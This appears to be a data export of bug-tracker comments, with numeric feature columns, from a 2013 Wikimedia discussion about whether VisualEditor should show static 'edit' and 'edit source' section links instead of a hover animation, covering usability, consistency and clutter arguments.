QUOTE
QUOTE

I still do not see how one edit link being text, and one being an icon would slow down your editing in any way. It sounds more like an esthetic preference.  

You like things in order. My room is probably a lot messier than yours. ;)

I think many options should be put in user preferences. The more the better as far as I am concerned. More happy editors means more editing gets done."
245608,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","Just to point out the importance of this bug:

I just deactivated VisualEditor for this exact reason. I hate the hovering, and I'm mis-clicking regularly because of the VE replacing my well known ""Edit"" button. Since it is know activated also in my Homewiki (dewiki) I can't stand it any longer. Goodby VE!

Actually I *tried* to give it a chance (I did not deactivate it up to now, although there are many possibilities around how to do it!), but the agressive way the VE is replacing UI links is just not acceptable.",,,1375018892,,PHID-USER-v3yn5qf233ggnnnmvejc,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,1.5,0.0,0.0,0.5,2.5,3.0,0.0,0.5,1.0,0.0,0.5,1.5,0.0,0.0,1.0,4.5,0.0,11.0,9.0,0.0,2.0,0.0,0.5,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.5,5.0,1.5,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,11.0,2.5,1.5,5.0,0.0,0.0,1.5,0.0,4.0,0.0,0.0,0.0,8.5,9.0,6.0,0.0,1.0,0.0,8.5,0.0,1.0,1.0,0.0,2.0,1.0,0.0,0.0,3.656633547632963,0.7945645821157218,"Just to point out the importance of this bug:

I just deactivated VisualEditor for this exact reason. I hate the hovering, and I'm mis-clicking regularly because of the VE replacing my well known ""Edit"" button. Since it is know activated also in my Homewiki (dewiki) I can't stand it any longer. Goodby VE!

Actually I *tried* to give it a chance (I did not deactivate it up to now, although there are many possibilities around how to do it!), but the agressive way the VE is replacing UI links is just not acceptable."
245602,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #34)
> Chris McKenna said that a text link and an icon link were ""a nightmare from a
> usability perspective"". 
> 
Yes, because they are inconsistent. 

> You are saying ""it's about consistency"". Something can be completely usable
> and
> not be consistent. Why is consistency important to you? I do not see the
> need. 
Because there are two ways to do the same job (edit the page) the ways of doing this need to look the same. 

> According to your logic, we should delete the watchlist star icon because it
> is
> inconsistent with the text links at the top of pages. 

The watchlist star is irrelevant to this discussion. It does not offer an alternative interface to achieve the same job as one of the text links. Completely different situation
  
> An icon avoids clutter on section header lines. We still need ""edit"" as text
> at
> least once, since that is what makes Wikipedia what it is; the encyclopedia
> that anybody can *edit*.

As explained above, ""clutter"" is very significantly less important than consistency. If we need it to say ""edit"" at least once then we need two text links. If two text links are two cluttered then we need two icons.",,,1374997623,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,1.5,0.0,0.5,6.0,1.0,1.0,0.0,1.5,2.0,0.0,0.0,0.0,0.5,2.0,0.0,6.0,10.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,5.5,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,3.0,13.0,2.5,0.0,5.5,0.0,0.0,0.0,0.5,4.0,0.0,4.5,0.0,3.5,10.0,5.0,0.0,2.5,0.0,3.5,0.0,0.0,0.5,0.0,0.5,0.5,0.5,0.0,3.6907894736842106,0.602982456140351,"(In reply to comment #34)
QUOTE
QUOTE
QUOTE
Yes, because they are inconsistent. 

QUOTE
QUOTE
QUOTE
QUOTE
Because there are two ways to do the same job (edit the page) the ways of doing this need to look the same. 

QUOTE
QUOTE
QUOTE

The watchlist star is irrelevant to this discussion. It does not offer an alternative interface to achieve the same job as one of the text links. Completely different situation
  
QUOTE
QUOTE
QUOTE
QUOTE

As explained above, ""clutter"" is very significantly less important than consistency. If we need it to say ""edit"" at least once then we need two text links. If two text links are two cluttered then we need two icons."
245597,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #33 by Eduard Braun)
> It's not about ""being difficult"" it's about consistency!
> 
> We have two equivalent ways of editing an article, therefore there should be
> two equivalent buttons.
> 
> Either both of them should be textual links or both of them should be icons.

Chris McKenna said that a text link and an icon link were ""a nightmare from a usability perspective"". 

You are saying ""it's about consistency"". Something can be completely usable and not be consistent. Why is consistency important to you? I do not see the need. 

According to your logic, we should delete the watchlist star icon because it is inconsistent with the text links at the top of pages. I believe the watchlist star icon was partially implemented as a way to save space at the top of pages, and to avoid having dropdown menus in smaller screens. 

The star icon allowed the viewing of Wikipedia pages at smaller screen widths before the dropdown menus showed up at the top. 

With edit links we are trying to avoid dropdowns, hover, and hidden edit links. 

An icon avoids clutter on section header lines. We still need ""edit"" as text at least once, since that is what makes Wikipedia what it is; the encyclopedia that anybody can *edit*.",,,1374980634,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,3.3333333333333335,1.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,2.0,0.0,3.0,11.333333333333334,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,4.666666666666667,1.0,1.0,1.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,18.333333333333332,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,6.0,3.6666666666666665,8.0,2.0,1.3333333333333333,6.666666666666667,0.0,0.0,0.0,0.3333333333333333,3.6666666666666665,0.0,0.3333333333333333,0.0,4.0,11.333333333333334,3.3333333333333335,0.3333333333333333,2.3333333333333335,0.0,4.0,0.0,1.3333333333333333,2.0,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,3.8775762063433294,0.7060348019252128,"(In reply to comment #33 by Eduard Braun)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Chris McKenna said that a text link and an icon link were ""a nightmare from a usability perspective"". 

You are saying ""it's about consistency"". Something can be completely usable and not be consistent. Why is consistency important to you? I do not see the need. 

According to your logic, we should delete the watchlist star icon because it is inconsistent with the text links at the top of pages. I believe the watchlist star icon was partially implemented as a way to save space at the top of pages, and to avoid having dropdown menus in smaller screens. 

The star icon allowed the viewing of Wikipedia pages at smaller screen widths before the dropdown menus showed up at the top. 

With edit links we are trying to avoid dropdowns, hover, and hidden edit links. 

An icon avoids clutter on section header lines. We still need ""edit"" as text at least once, since that is what makes Wikipedia what it is; the encyclopedia that anybody can *edit*."
245592,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","It's not about ""being difficult"" it's about consistency!

We have two equivalent ways of editing an article, therefore there should be two equivalent buttons.

Either both of them should be textual links or both of them should be icons.

None of them should be hidden by default.",,,1374973998,,PHID-USER-v3yn5qf233ggnnnmvejc,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,2.0,2.0,7.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,12.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,7.0,0.0,3.0,5.0,0.0,0.0,2.0,0.0,7.0,0.0,3.0,0.0,10.0,12.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,4.0,0.6440677966101694,"It's not about ""being difficult"" it's about consistency!

We have two equivalent ways of editing an article, therefore there should be two equivalent buttons.

Either both of them should be textual links or both of them should be icons.

None of them should be hidden by default."
245589,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #31 by Chris McKenna)

I don't understand. How is it difficult to click a static icon that is there all the time (without having to go through any hovering)? There is a star icon at the top of almost every Wikipedia page for adding or removing a page from one's watchlist. 

If clicking an icon to get to the source wikitext editor is a nightmare, then how is making both links icons (as you suggest) better. I agree that the icon for the source wikitext editor should have alt text and tooltip. I should have stated that to begin with, but I assumed that would be done, just as it is for the watchlist star at the top of the page.",,,1374973136,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,1.5,0.0,0.0,0.5,0.5,1.0,1.5,0.0,0.0,0.5,2.0,0.5,0.0,0.5,0.5,2.5,0.0,5.0,14.0,0.0,2.5,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,5.5,1.0,1.0,3.5,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,16.5,0.5,0.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,8.0,4.5,6.0,3.0,2.0,10.5,0.0,0.0,0.0,0.5,5.5,0.0,1.0,0.0,4.5,14.0,1.5,0.5,0.0,0.0,4.5,0.0,1.5,2.5,0.0,2.5,0.5,0.0,0.0,3.6485920852359213,0.7375380517503805,"(In reply to comment #31 by Chris McKenna)

I don't understand. How is it difficult to click a static icon that is there all the time (without having to go through any hovering)? There is a star icon at the top of almost every Wikipedia page for adding or removing a page from one's watchlist. 

If clicking an icon to get to the source wikitext editor is a nightmare, then how is making both links icons (as you suggest) better. I agree that the icon for the source wikitext editor should have alt text and tooltip. I should have stated that to begin with, but I assumed that would be done, just as it is for the watchlist star at the top of the page."
245585,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #30)
> I think the least cluttered longterm solution for them might be
> an
> ""edit"" link for the visual editor, and an icon for the source wikitext
> editor.

Least cluttered perhaps, but a nightmare from a usability perspective. Either make both an icon (with alt text and tooltip) or both text links. Usability is far more important than avoiding a tiny bit of clutter.",,,1374926926,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,14.0,0.0,8.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,3.7966101694915255,0.7627118644067796,"(In reply to comment #30)
QUOTE
QUOTE
QUOTE
QUOTE

Least cluttered perhaps, but a nightmare from a usability perspective. Either make both an icon (with alt text and tooltip) or both text links. Usability is far more important than avoiding a tiny bit of clutter."
245580,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #26 by Erik Moeller)
> I agree we need to revisit this, Richard. We'll kick around some options, but
> we won't be able to get a new interface out before next week at the earliest.

I see that this is being discussed here: 
*http://lists.wikimedia.org/pipermail/design/2013-July/subject.html 

I note that in this message 
http://lists.wikimedia.org/pipermail/design/2013-July/000804.html 
you agree with Trevor Parscal: ""The hover effect is easy to drop - if we are all willing to take the hit on the clutter."" 

I agree with you on this: ""If we want experienced users to test it every once in a while, give feedback on how it can be made better, and have them see the improvements, finding a solution that poses the least burden on them will give us the biggest win.""

It needs to be emphasized that there are many experienced users who edit anonymously (IP edits). They will not be able to go to preferences to choose other options. I think both hover and dropdown will irritate those experienced IP editors. I think the least cluttered longterm solution for them might be an ""edit"" link for the visual editor, and an icon for the source wikitext editor.",,,1374891994,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,0.0,1.3333333333333333,0.3333333333333333,6.666666666666667,1.6666666666666667,0.0,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.3333333333333333,3.0,0.0,2.6666666666666665,9.666666666666666,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,5.666666666666667,2.3333333333333335,1.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,1.6666666666666667,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,11.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,5.0,3.3333333333333335,7.333333333333333,2.0,1.6666666666666667,7.0,0.0,0.0,0.0,0.3333333333333333,5.0,0.0,0.3333333333333333,0.0,6.333333333333333,9.666666666666666,1.6666666666666667,0.0,2.3333333333333335,0.0,6.333333333333333,0.0,1.0,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,0.0,3.6758852794849286,0.7475124378109452,"(In reply to comment #26 by Erik Moeller)
QUOTE
QUOTE

I see that this is being discussed here: 
*URL 

I note that in this message 
URL 
you agree with Trevor Parscal: ""The hover effect is easy to drop - if we are all willing to take the hit on the clutter."" 

I agree with you on this: ""If we want experienced users to test it every once in a while, give feedback on how it can be made better, and have them see the improvements, finding a solution that poses the least burden on them will give us the biggest win.""

It needs to be emphasized that there are many experienced users who edit anonymously (IP edits). They will not be able to go to preferences to choose other options. I think both hover and dropdown will irritate those experienced IP editors. I think the least cluttered longterm solution for them might be an ""edit"" link for the visual editor, and an icon for the source wikitext editor."
245575,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**kwwilliams** wrote:

(In reply to comment #24)

> My first thought is that you are putting a lot of effort into preserving an
> option that doesn't work. The first and easiest step is to remove the button
> for editing sections using the source editor until you actually have a source
> editor that can edit sections. Similarly, your preference scheme seems OK,
> but
> the default should be ""Edit sections as wikitext"", at least until you
> actually
> have a source editor that can edit sections.
> 

Sleepiness had obviously hit. Replace with 

My first thought is that you are putting a lot of effort into preserving an
option that doesn't work. The first and easiest step is to remove the button
for editing sections using the visual editor until you actually have a visual editor that can edit sections. Similarly, your preference scheme seems OK, but
the default should be ""Edit sections as wikitext"", at least until you
actually have a visual editor that can edit sections.

While sleepiness had hit, the point remains valid: since Visual Editor doesn't work for sections, there's no reason to damage the user interface by pretending to support it.",,,1374849031,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.5,0.5,1.0,3.5,10.0,0.0,2.0,0.5,1.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.5,5.0,1.5,0.5,1.5,2.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,4.0,0.0,0.0,0.0,1.5,0.0,11.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,5.5,2.0,10.5,1.5,1.0,6.0,0.0,0.0,0.0,0.5,6.0,0.0,0.5,0.0,3.5,10.0,6.0,0.0,1.0,0.0,3.5,0.0,1.5,2.0,0.0,2.0,0.0,1.0,0.0,3.9156626506024095,0.6807228915662651,"**kwwilliams** wrote:

(In reply to comment #24)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Sleepiness had obviously hit. Replace with 

My first thought is that you are putting a lot of effort into preserving an
option that doesn't work. The first and easiest step is to remove the button
for editing sections using the visual editor until you actually have a visual editor that can edit sections. Similarly, your preference scheme seems OK, but
the default should be ""Edit sections as wikitext"", at least until you
actually have a visual editor that can edit sections.

While sleepiness had hit, the point remains valid: since Visual Editor doesn't work for sections, there's no reason to damage the user interface by pretending to support it."
245569,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","What about my suggestion in comment 15? I still think this would be a workable solution resolving most of the controversy around section edit links.

The proposed setting whether to prefer VE or the WikiEditor could also be used to relabel the buttons to improve the workflow for everybody:
* ""Edit"" for the edit button using the preferred editor
* ""Edit Source"" or ""Visual Edit"" for the second button

This way a simple ""Edit"" button would be the default way to edit an article, regardless of which editor the user prefers, while the other option was around for special use cases.",,,1374837475,,PHID-USER-v3yn5qf233ggnnnmvejc,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,0.0,0.5,0.0,0.5,0.0,6.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,2.5,9.0,0.5,2.5,0.0,1.0,0.0,1.0,0.0,1.0,1.5,0.5,1.5,1.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.5,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,9.5,2.5,8.0,1.5,1.5,11.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,1.0,9.0,5.0,0.5,6.0,0.0,1.0,0.0,1.5,2.0,0.0,2.0,0.0,0.5,0.0,4.073870056497175,0.7724576271186441,"What about my suggestion in comment 15? I still think this would be a workable solution resolving most of the controversy around section edit links.

The proposed setting whether to prefer VE or the WikiEditor could also be used to relabel the buttons to improve the workflow for everybody:
* ""Edit"" for the edit button using the preferred editor
* ""Edit Source"" or ""Visual Edit"" for the second button

This way a simple ""Edit"" button would be the default way to edit an article, regardless of which editor the user prefers, while the other option was around for special use cases."
245561,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #24)
> The first and easiest step is to remove the button
> for editing sections using the source editor until you actually have a source
> editor that can edit sections.

To clarify, ""source"" is one of the terms VisualEditor uses for wikitext.  So, the wikitext/source section editor has not changed (other than the label).",,,1374829183,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.74,"(In reply to comment #24)
QUOTE
QUOTE
QUOTE

To clarify, ""source"" is one of the terms VisualEditor uses for wikitext.  So, the wikitext/source section editor has not changed (other than the label)."
245556,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","I agree we need to revisit this, Richard. We'll kick around some options, but we won't be able to get a new interface out before next week at the earliest.",,,1374819700,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,3.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,3.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,8.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,17.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.5,0.8888888888888888,"I agree we need to revisit this, Richard. We'll kick around some options, but we won't be able to get a new interface out before next week at the earliest."
245551,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","Discussed again at [[Wikipedia:VisualEditor/Feedback#Edit Source is upsetting. When reading is upsetting]]

I think this comment highlights the problem for readers, not just editors or power users, presumably this is effecting IP readers as well:

It is VERY unpleaseant for me to read with the new feature. When I pass the mouse over the edi button, appears a new button saying edit source. I know these things are great for editors. But they are really distracting because one scrolls the mouse accidentally, in all the horizontal white stripe, i mean one scrolls the mouse over any place at the same height of the screen that Edit button, then Wild Edit source button appears. This is horrible. Please, make it harder to find. This distracts the eye a lot, i'm tottally serious. Plase, don't take this for a joke, i'm serious, the editors may have another way to do that, for example clicking on a small STATIC button for visual editing, that would be GREAT! Thank youSantropedro1",,,1374818730,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,6.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,5.0,7.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,8.0,1.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,2.0,0.3333333333333333,0.0,0.0,13.666666666666666,2.3333333333333335,1.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,5.666666666666667,3.0,9.0,1.0,0.6666666666666666,10.0,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,0.3333333333333333,0.6666666666666666,0.0,3.6666666666666665,7.0,3.0,0.0,0.0,0.0,3.6666666666666665,0.0,1.3333333333333333,1.6666666666666667,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,4.084577114427861,0.7164179104477612,"Discussed again at [[Wikipedia:VisualEditor/Feedback#Edit Source is upsetting. When reading is upsetting]]

I think this comment highlights the problem for readers, not just editors or power users, presumably this is effecting IP readers as well:

It is VERY unpleaseant for me to read with the new feature. When I pass the mouse over the edi button, appears a new button saying edit source. I know these things are great for editors. But they are really distracting because one scrolls the mouse accidentally, in all the horizontal white stripe, i mean one scrolls the mouse over any place at the same height of the screen that Edit button, then Wild Edit source button appears. This is horrible. Please, make it harder to find. This distracts the eye a lot, i'm tottally serious. Plase, don't take this for a joke, i'm serious, the editors may have another way to do that, for example clicking on a small STATIC button for visual editing, that would be GREAT! Thank youSantropedro1"
245546,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**kwwilliams** wrote:

(In reply to comment #13)

> Section editing links
> (x) Hybrid edit / edit source links [default]
> ( ) Edit sections via VisualEditor
> ( ) Edit sections as wikitext
> ( ) Disable section editing
> 
> ...
> 
> We don't love the [ edit ] [ edit source ] static links, because it feels
> cluttered and not the kind of user experience that we want to support.
> 
> Thoughts? If either of these feels like a reasonable path forward, we can
> re-use this bug to track it, or start a new one.

My first thought is that you are putting a lot of effort into preserving an option that doesn't work. The first and easiest step is to remove the button for editing sections using the source editor until you actually have a source editor that can edit sections. Similarly, your preference scheme seems OK, but the default should be ""Edit sections as wikitext"", at least until you actually have a source editor that can edit sections.

My second thought is that for any choice that presents both, the animated is far worse, and probably gets worse for anyone that uses an interface with a long word that means ""edit"". When I see a page, it has little buttons labeled ""bewerken"" next to each section header, and as I'm moving my cursor there, it suddenly animates and ""brontext bewerken"" slides out to the side (which is strange, because my main button for editing source is labeled ""bron bewerken""). Not surprisingly, I'm accustomed to having the thing I'm aiming for not purposely jump out of the way once I try to get there. I'd prefer getting a popup and having to click twice to having the thing I'm aiming for run away. Of course, I can try to remember to aim 3 cm to the right of the button and click *there*, but that is really an odd UI.

In terms of the VE feature that makes me curse every time it occurs, it's accidentally launching VE because the thing I was aiming for ran away while I was aiming for it.",,,1374814202,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,0.75,0.25,0.0,0.25,0.75,3.75,1.5,0.5,0.0,0.0,1.25,1.5,0.0,0.0,0.25,4.0,0.25,6.0,10.5,0.25,1.5,0.25,0.25,0.0,0.75,0.25,0.0,0.75,0.75,0.25,0.25,7.0,1.25,1.25,0.75,1.0,0.25,0.25,0.0,0.5,0.0,0.0,0.25,1.5,0.0,0.25,0.0,1.5,0.0,12.0,0.5,0.5,0.25,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,5.75,2.75,9.5,1.5,2.0,7.25,0.0,0.0,0.0,0.25,4.25,0.0,0.5,0.0,6.25,10.5,4.0,0.0,2.5,0.0,6.25,0.0,2.25,2.25,0.25,3.5,0.5,0.5,0.0,3.699545576049185,0.6455159048382786,"**kwwilliams** wrote:

(In reply to comment #13)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

My first thought is that you are putting a lot of effort into preserving an option that doesn't work. The first and easiest step is to remove the button for editing sections using the source editor until you actually have a source editor that can edit sections. Similarly, your preference scheme seems OK, but the default should be ""Edit sections as wikitext"", at least until you actually have a source editor that can edit sections.

My second thought is that for any choice that presents both, the animated is far worse, and probably gets worse for anyone that uses an interface with a long word that means ""edit"". When I see a page, it has little buttons labeled ""bewerken"" next to each section header, and as I'm moving my cursor there, it suddenly animates and ""brontext bewerken"" slides out to the side (which is strange, because my main button for editing source is labeled ""bron bewerken""). Not surprisingly, I'm accustomed to having the thing I'm aiming for not purposely jump out of the way once I try to get there. I'd prefer getting a popup and having to click twice to having the thing I'm aiming for run away. Of course, I can try to remember to aim 3 cm to the right of the button and click *there*, but that is really an odd UI.

In terms of the VE feature that makes me curse every time it occurs, it's accidentally launching VE because the thing I was aiming for ran away while I was aiming for it."
245540,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #13 by Erik Moeller)

> We don't love the [ edit ] [ edit source ] static links, because it feels
> cluttered and not the kind of user experience that we want to support.

If provided as a preference then it is not clutter, at least to that user. 

If you don't provide this as a baked-in MediaWiki preference in the edit tab of preferences, then probably all Wikipedias in all languages, and all MediaWiki installations outside the Wikimedia world will provide buggy gadgets to provide the 2 static links. 

For example; the buggy CSS hack described here:
*[[Wikipedia:Village pump (technical)/Archive 114]] - see section ""Removing the animation from 'edit source' section links on Visual Editor"".

Is it not a thousand times better for it to be a fully-maintained, baked-in preference that will not constantly become buggy after various MediaWiki updates?",,,1374541092,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,1.5,0.0,0.5,0.0,2.5,6.0,1.0,0.0,0.0,1.0,3.5,2.0,0.0,0.0,0.0,0.0,0.0,5.5,12.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,2.5,0.5,2.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,12.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,5.0,2.0,11.5,1.0,0.5,7.5,0.0,0.0,0.0,0.5,3.5,0.0,2.5,0.0,2.5,12.0,6.0,0.5,2.5,0.0,2.5,0.0,0.5,2.5,0.0,0.5,0.5,0.5,1.5,4.038461538461538,0.7628205128205128,"(In reply to comment #13 by Erik Moeller)

QUOTE
QUOTE

If provided as a preference then it is not clutter, at least to that user. 

If you don't provide this as a baked-in MediaWiki preference in the edit tab of preferences, then probably all Wikipedias in all languages, and all MediaWiki installations outside the Wikimedia world will provide buggy gadgets to provide the 2 static links. 

For example; the buggy CSS hack described here:
